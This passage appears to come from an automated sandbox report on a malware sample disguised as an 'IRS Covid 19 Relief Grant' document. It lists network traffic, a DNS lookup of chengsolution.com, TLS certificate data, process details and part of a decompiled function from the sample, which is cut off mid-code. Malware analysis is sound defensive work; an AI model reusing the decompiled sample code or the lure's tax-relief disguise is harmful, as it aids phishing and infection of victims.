Jan 22, 2021 15:33:02.199743032 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199743986 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.199773073 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199773073 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.199800014 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.199803114 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199805021 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.199810028 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.199814081 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.199817896 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.199820995 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.199846029 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.199876070 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199898958 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199932098 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199954987 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.199963093 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199964046 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.199992895 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199970007 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.200023890 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.200056076 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.200083017 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.200093985 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.200119972 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.200128078 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.200128078 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.200133085 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.200138092 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.200141907 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.200153112 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.200169086 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.200174093 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.200176001 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.200207949 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.200232029 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.200238943 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.200243950 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.200268030 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.200297117 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.200299978 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.200326920 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.200329065 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.200340033 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.200345993 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.200356007 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.200382948 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.200392962 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.200395107 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.200426102 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.200455904 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.200457096 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.200479984 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.200486898 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.200503111 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.200541973 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.393454075 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.393522978 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.393549919 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.393579960 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.393634081 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.393685102 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.393691063 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.393738985 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.393748999 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.393800020 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.393810987 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.393853903 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.393892050 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.393954992 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.393960953 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.393990993 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.393997908 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.394001961 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.394002914 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.394042969 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.394063950 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.394083023 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.394112110 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.394138098 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.394146919 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.394177914 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.394221067 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.394227982 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.394237041 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.394280910 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.394284964 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.394329071 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.394337893 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.394362926 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.394387960 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.394390106 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.394412994 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.394428015 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.394437075 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.394479036 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.394524097 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.394553900 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.394573927 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.394594908 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.394617081 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.394633055 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.394649029 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.394671917 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.394690037 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.394711018 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.394725084 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.394741058 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.394774914 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.394779921 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.394808054 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.394818068 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.394845009 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.394853115 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.394881964 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.394902945 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.394907951 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.394932985 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.394953966 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.394989967 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:18.395267963 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:18.395292997 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:18.395519972 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:34:50.523227930 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:34:50.524451971 CET	49722	443	192.168.2.3	162.0.209.179

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 22, 2021 15:32:34.237971067 CET	65110	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:32:34.286247015 CET	53	65110	8.8.8.8	192.168.2.3
Jan 22, 2021 15:32:35.173605919 CET	58361	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:32:35.221765041 CET	53	58361	8.8.8.8	192.168.2.3
Jan 22, 2021 15:32:36.174494982 CET	63492	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:32:36.233561039 CET	53	63492	8.8.8.8	192.168.2.3
Jan 22, 2021 15:32:37.617847919 CET	60831	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:32:37.668592930 CET	53	60831	8.8.8.8	192.168.2.3
Jan 22, 2021 15:32:38.644068003 CET	60100	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:32:38.694984913 CET	53	60100	8.8.8.8	192.168.2.3
Jan 22, 2021 15:32:39.598009109 CET	53195	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:32:39.646202087 CET	53	53195	8.8.8.8	192.168.2.3
Jan 22, 2021 15:32:40.696042061 CET	50141	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:32:40.747057915 CET	53	50141	8.8.8.8	192.168.2.3
Jan 22, 2021 15:32:41.642864943 CET	53023	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:32:41.692101002 CET	53	53023	8.8.8.8	192.168.2.3
Jan 22, 2021 15:32:43.216372967 CET	49563	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:32:43.265650034 CET	53	49563	8.8.8.8	192.168.2.3
Jan 22, 2021 15:32:44.330440044 CET	51352	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:32:44.378456116 CET	53	51352	8.8.8.8	192.168.2.3
Jan 22, 2021 15:32:45.258740902 CET	59349	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:32:45.315373898 CET	53	59349	8.8.8.8	192.168.2.3
Jan 22, 2021 15:32:46.413996935 CET	57084	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:32:46.462196112 CET	53	57084	8.8.8.8	192.168.2.3
Jan 22, 2021 15:33:00.584187984 CET	58823	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:33:00.645143986 CET	53	58823	8.8.8.8	192.168.2.3
Jan 22, 2021 15:33:04.220772982 CET	57568	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:33:04.278572083 CET	53	57568	8.8.8.8	192.168.2.3
Jan 22, 2021 15:33:05.489191055 CET	50540	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:33:05.539989948 CET	53	50540	8.8.8.8	192.168.2.3
Jan 22, 2021 15:33:12.129739046 CET	54366	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:33:12.189742088 CET	53	54366	8.8.8.8	192.168.2.3
Jan 22, 2021 15:33:25.372404099 CET	53034	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:33:25.442540884 CET	53	53034	8.8.8.8	192.168.2.3
Jan 22, 2021 15:33:41.798993111 CET	57762	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:33:41.846873045 CET	53	57762	8.8.8.8	192.168.2.3
Jan 22, 2021 15:33:45.806488037 CET	55435	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:33:45.873781919 CET	53	55435	8.8.8.8	192.168.2.3
Jan 22, 2021 15:34:17.203610897 CET	50713	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:34:17.254595995 CET	53	50713	8.8.8.8	192.168.2.3
Jan 22, 2021 15:34:18.724848986 CET	56132	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:34:18.784081936 CET	53	56132	8.8.8.8	192.168.2.3
Jan 22, 2021 15:35:25.828926086 CET	58987	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:35:25.885335922 CET	53	58987	8.8.8.8	192.168.2.3
Jan 22, 2021 15:35:26.591089964 CET	56579	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:35:26.639123917 CET	53	56579	8.8.8.8	192.168.2.3
Jan 22, 2021 15:35:27.381139994 CET	60633	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:35:27.428925991 CET	53	60633	8.8.8.8	192.168.2.3
Jan 22, 2021 15:35:28.028019905 CET	61292	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:35:28.086383104 CET	53	61292	8.8.8.8	192.168.2.3
Jan 22, 2021 15:35:28.656333923 CET	63619	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:35:28.712656021 CET	53	63619	8.8.8.8	192.168.2.3
Jan 22, 2021 15:35:29.404434919 CET	64938	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:35:29.460849047 CET	53	64938	8.8.8.8	192.168.2.3
Jan 22, 2021 15:35:30.186583996 CET	61946	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:35:30.245747089 CET	53	61946	8.8.8.8	192.168.2.3
Jan 22, 2021 15:35:31.344348907 CET	64910	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:35:31.401043892 CET	53	64910	8.8.8.8	192.168.2.3
Jan 22, 2021 15:35:32.696083069 CET	52123	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:35:32.746825933 CET	53	52123	8.8.8.8	192.168.2.3
Jan 22, 2021 15:35:33.200326920 CET	56130	53	192.168.2.3	8.8.8.8
Jan 22, 2021 15:35:33.251012087 CET	53	56130	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 22, 2021 15:33:00.584187984 CET	192.168.2.3	8.8.8.8	0x4807	Standard query (0)	chengsolution.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 22, 2021 15:33:00.645143986 CET	8.8.8.8	192.168.2.3	0x4807	No error (0)	chengsolution.com		162.0.209.179	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Jan 22, 2021 15:33:01.104790926 CET	162.0.209.179	443	192.168.2.3	49722	CN=chengsolution.com CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Sat Jan 09 01:00:00 CET 2021 Fri Nov 02 01:00:00 CET 2018 Tue Mar 12 01:00:00 CET 2019	Tue Jan 04 00:59:59 CET 2022 Wed Jan 01 00:59:59 CET 2031 Mon Jan 01 00:59:59 CET 2029	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0	37f463bf4616ecd445d4a1937da06e19
					CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB	CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	Fri Nov 02 01:00:00 CET 2018	Wed Jan 01 00:59:59 CET 2031
					CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Tue Mar 12 01:00:00 CET 2019	Mon Jan 01 00:59:59 CET 2029

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: IRS_Covid_19_Relief_Grant_Document_docx.exe PID: 4952 Parent PID: 5652

General

Start time:	15:32:38
Start date:	22/01/2021
Path:	C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe'
Imagebase:	0x400000
File size:	86016 bytes
MD5 hash:	5F85963ECC2A1C3354C2E705F3E8D038
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Reputation:	low

Chronological Activities

Analysis Process: IRS_Covid_19_Relief_Grant_Document_docx.exe PID: 2220 Parent PID: 4952

General

Start time:	15:32:52
Start date:	22/01/2021
Path:	C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe'
Imagebase:	0x400000
File size:	86016 bytes
MD5 hash:	5F85963ECC2A1C3354C2E705F3E8D038
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: IRS_Covid_19_Relief_Grant_Document_docx.exe PID: 4952 Parent PID: 5652 IRS_Covid_19_Relief_Grant_Document_docx.exeCOMMON

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	0.9%
Signature Coverage:	0%
Total number of Nodes:	224
Total number of Limit Nodes:	70

Executed Functions

Function 0040EB54, Relevance: 280.2, APIs: 148, Strings: 11, Instructions: 1904
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E0040EB54(void* __ebx, void* __edi, void* __esi, signed int _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				char _v28;
				void* _v44;
				char _v48;
				void* _v64;
				intOrPtr _v68;
				long long _v76;
				intOrPtr _v80;
				char _v84;
				signed int _v88;
				char _v92;
				signed int _v96;
				char _v100;
				signed int _v104;
				char _v108;
				char _v112;
				intOrPtr _v120;
				char _v128;
				char _v136;
				char _v144;
				char _v152;
				char _v160;
				char* _v168;
				intOrPtr _v176;
				char _v212;
				char _v216;
				char _v220;
				char _v224;
				char _v228;
				char _v232;
				char _v236;
				char _v240;
				char _v244;
				intOrPtr _v248;
				char _v252;
				intOrPtr _v256;
				char _v260;
				char _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v284;
				signed int _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				intOrPtr* _v328;
				signed int _v332;
				intOrPtr* _v336;
				signed int _v340;
				intOrPtr* _v344;
				signed int _v348;
				intOrPtr* _v352;
				signed int _v356;
				intOrPtr* _v360;
				signed int _v364;
				signed int _v368;
				intOrPtr* _v372;
				signed int _v376;
				intOrPtr* _v380;
				signed int _v384;
				signed int _v388;
				char _v392;
				signed int _v396;
				intOrPtr* _v400;
				signed int _v404;
				intOrPtr* _v408;
				signed int _v412;
				intOrPtr* _v416;
				signed int _v420;
				intOrPtr* _v424;
				signed int _v428;
				intOrPtr* _v432;
				signed int _v436;
				intOrPtr* _v440;
				signed int _v444;
				intOrPtr* _v448;
				signed int _v452;
				intOrPtr* _v456;
				signed int _v460;
				signed int _v464;
				signed int _v468;
				intOrPtr* _v472;
				signed int _v476;
				intOrPtr* _v480;
				signed int _v484;
				intOrPtr* _v488;
				signed int _v492;
				signed int _v496;
				void* _v500;
				signed int _v504;
				intOrPtr* _v508;
				signed int _v512;
				intOrPtr* _v516;
				signed int _v520;
				intOrPtr* _v524;
				signed int _v528;
				intOrPtr* _v532;
				signed int _v536;
				intOrPtr* _v540;
				signed int _v544;
				intOrPtr* _v548;
				signed int _v552;
				intOrPtr* _v556;
				signed int _v560;
				signed int _v564;
				intOrPtr* _v568;
				signed int _v572;
				intOrPtr* _v576;
				signed int _v580;
				intOrPtr* _v584;
				signed int _v588;
				signed int _v592;
				void* _v596;
				signed int _v600;
				signed int _t942;
				signed int _t945;
				signed int _t949;
				signed int _t953;
				signed int _t957;
				signed int _t961;
				signed int _t965;
				signed int _t969;
				signed int _t983;
				signed int _t987;
				signed int _t996;
				signed int _t1000;
				signed int _t1004;
				signed int _t1008;
				signed int _t1012;
				signed int _t1024;
				signed int _t1034;
				signed int _t1038;
				signed int _t1042;
				signed int _t1046;
				signed int _t1050;
				signed int _t1054;
				signed int _t1058;
				signed int _t1062;
				signed int _t1082;
				signed int _t1086;
				signed int _t1090;
				signed int _t1094;
				signed int _t1098;
				signed int _t1102;
				signed int _t1106;
				signed int _t1110;
				signed int _t1137;
				signed int _t1141;
				signed int _t1147;
				signed int _t1154;
				signed int _t1158;
				signed int _t1162;
				signed int _t1167;
				signed int _t1171;
				signed int _t1175;
				signed int _t1179;
				char* _t1180;
				signed int _t1188;
				signed int _t1197;
				signed int _t1201;
				signed int _t1205;
				signed int _t1209;
				signed int _t1224;
				signed int _t1228;
				signed int _t1232;
				signed int _t1236;
				char* _t1240;
				signed int _t1252;
				signed int _t1256;
				signed int _t1260;
				signed int _t1264;
				signed int _t1279;
				signed int _t1283;
				signed int _t1295;
				signed int _t1299;
				signed int _t1304;
				signed int _t1308;
				signed int _t1312;
				signed int _t1317;
				signed int _t1321;
				signed int _t1325;
				signed int _t1329;
				char* _t1331;
				signed int _t1342;
				signed int _t1354;
				signed int _t1358;
				void* _t1369;
				intOrPtr _t1383;
				intOrPtr _t1387;
				intOrPtr _t1406;
				char* _t1424;
				intOrPtr _t1434;
				intOrPtr _t1441;
				intOrPtr _t1460;
				void* _t1504;
				void* _t1506;
				intOrPtr* _t1507;
				intOrPtr* _t1508;
				void* _t1510;
				void* _t1511;
				void* _t1513;
				intOrPtr* _t1514;
				intOrPtr* _t1515;
				void* _t1516;
				intOrPtr* _t1518;
				long long* _t1520;

				_t1507 = _t1506 - 0xc;
				 *[fs:0x0] = _t1507;
				L004012E0();
				_v16 = _t1507;
				_v12 = 0x4011b0;
				_v8 = _a4 & 0x00000001;
				_a4 = _a4 & 0x000000fe;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4012e6, _t1504);
				if( *0x413010 != 0) {
					_v328 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v328 = 0x413010;
				}
				_t942 =  &_v92;
				L00401478();
				_v272 = _t942;
				_t945 =  *((intOrPtr*)( *_v272 + 0x1c8))(_v272, _t942,  *((intOrPtr*)( *((intOrPtr*)( *_v328)) + 0x31c))( *_v328));
				asm("fclex");
				_v276 = _t945;
				if(_v276 >= 0) {
					_v332 = _v332 & 0x00000000;
				} else {
					_push(0x1c8);
					_push(0x402908);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v332 = _t945;
				}
				L00401466();
				if( *0x413010 != 0) {
					_v336 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v336 = 0x413010;
				}
				_t949 =  &_v92;
				L00401478();
				_v272 = _t949;
				_t953 =  *((intOrPtr*)( *_v272 + 0x1e8))(_v272,  &_v212, _t949,  *((intOrPtr*)( *((intOrPtr*)( *_v336)) + 0x30c))( *_v336));
				asm("fclex");
				_v276 = _t953;
				if(_v276 >= 0) {
					_v340 = _v340 & 0x00000000;
				} else {
					_push(0x1e8);
					_push(0x402918);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v340 = _t953;
				}
				if( *0x413010 != 0) {
					_v344 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v344 = 0x413010;
				}
				_t957 =  &_v96;
				L00401478();
				_v280 = _t957;
				_t961 =  *((intOrPtr*)( *_v280 + 0x1c0))(_v280,  &_v228, _t957,  *((intOrPtr*)( *((intOrPtr*)( *_v344)) + 0x30c))( *_v344));
				asm("fclex");
				_v284 = _t961;
				if(_v284 >= 0) {
					_v348 = _v348 & 0x00000000;
				} else {
					_push(0x1c0);
					_push(0x402918);
					_push(_v280);
					_push(_v284);
					L0040146C();
					_v348 = _t961;
				}
				if( *0x413010 != 0) {
					_v352 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v352 = 0x413010;
				}
				_t1383 =  *((intOrPtr*)( *_v352));
				_t965 =  &_v100;
				L00401478();
				_v288 = _t965;
				_t969 =  *((intOrPtr*)( *_v288 + 0x80))(_v288,  &_v232, _t965,  *((intOrPtr*)(_t1383 + 0x31c))( *_v352));
				asm("fclex");
				_v292 = _t969;
				if(_v292 >= 0) {
					_v356 = _v356 & 0x00000000;
				} else {
					_push(0x80);
					_push(0x402908);
					_push(_v288);
					_push(_v292);
					L0040146C();
					_v356 = _t969;
				}
				_v240 = _v228;
				_v236 = 0x3a3690;
				 *_t1507 = _v232;
				 *((intOrPtr*)( *_a4 + 0x718))(_a4, _v212,  &_v236,  &_v240, _t1383,  &_v128);
				L00401460();
				_push( &_v100);
				_push( &_v96);
				_push( &_v92);
				_push(3);
				L0040145A();
				_t1508 = _t1507 + 0x10;
				if( *0x413010 != 0) {
					_v360 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v360 = 0x413010;
				}
				_t1387 =  *((intOrPtr*)( *_v360));
				_t983 =  &_v92;
				L00401478();
				_v272 = _t983;
				_t987 =  *((intOrPtr*)( *_v272 + 0x128))(_v272,  &_v228, _t983,  *((intOrPtr*)(_t1387 + 0x304))( *_v360));
				asm("fclex");
				_v276 = _t987;
				if(_v276 >= 0) {
					_v364 = _v364 & 0x00000000;
				} else {
					_push(0x128);
					_push(0x402928);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v364 = _t987;
				}
				_v268 =  *0x4011a8;
				_v260 = 0x18ae480;
				_v256 = 0x5aff;
				_v252 =  *0x4011a0;
				_v236 = 0x3c7eca;
				_v232 = _v228;
				_v168 =  *0x401198;
				 *_t1508 =  *0x401190;
				_t996 =  *((intOrPtr*)( *_a4 + 0x6f8))(_a4,  &_v232, _t1387,  &_v236, 0x5886bd,  &_v252,  &_v260,  &_v268, _t1387, _t1387);
				_v280 = _t996;
				if(_v280 >= 0) {
					_v368 = _v368 & 0x00000000;
				} else {
					_push(0x6f8);
					_push(0x40275c);
					_push(_a4);
					_push(_v280);
					L0040146C();
					_v368 = _t996;
				}
				L00401466();
				if( *0x413010 != 0) {
					_v372 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v372 = 0x413010;
				}
				_t1000 =  &_v92;
				L00401478();
				_v272 = _t1000;
				_t1004 =  *((intOrPtr*)( *_v272 + 0x110))(_v272,  &_v88, _t1000,  *((intOrPtr*)( *((intOrPtr*)( *_v372)) + 0x308))( *_v372));
				asm("fclex");
				_v276 = _t1004;
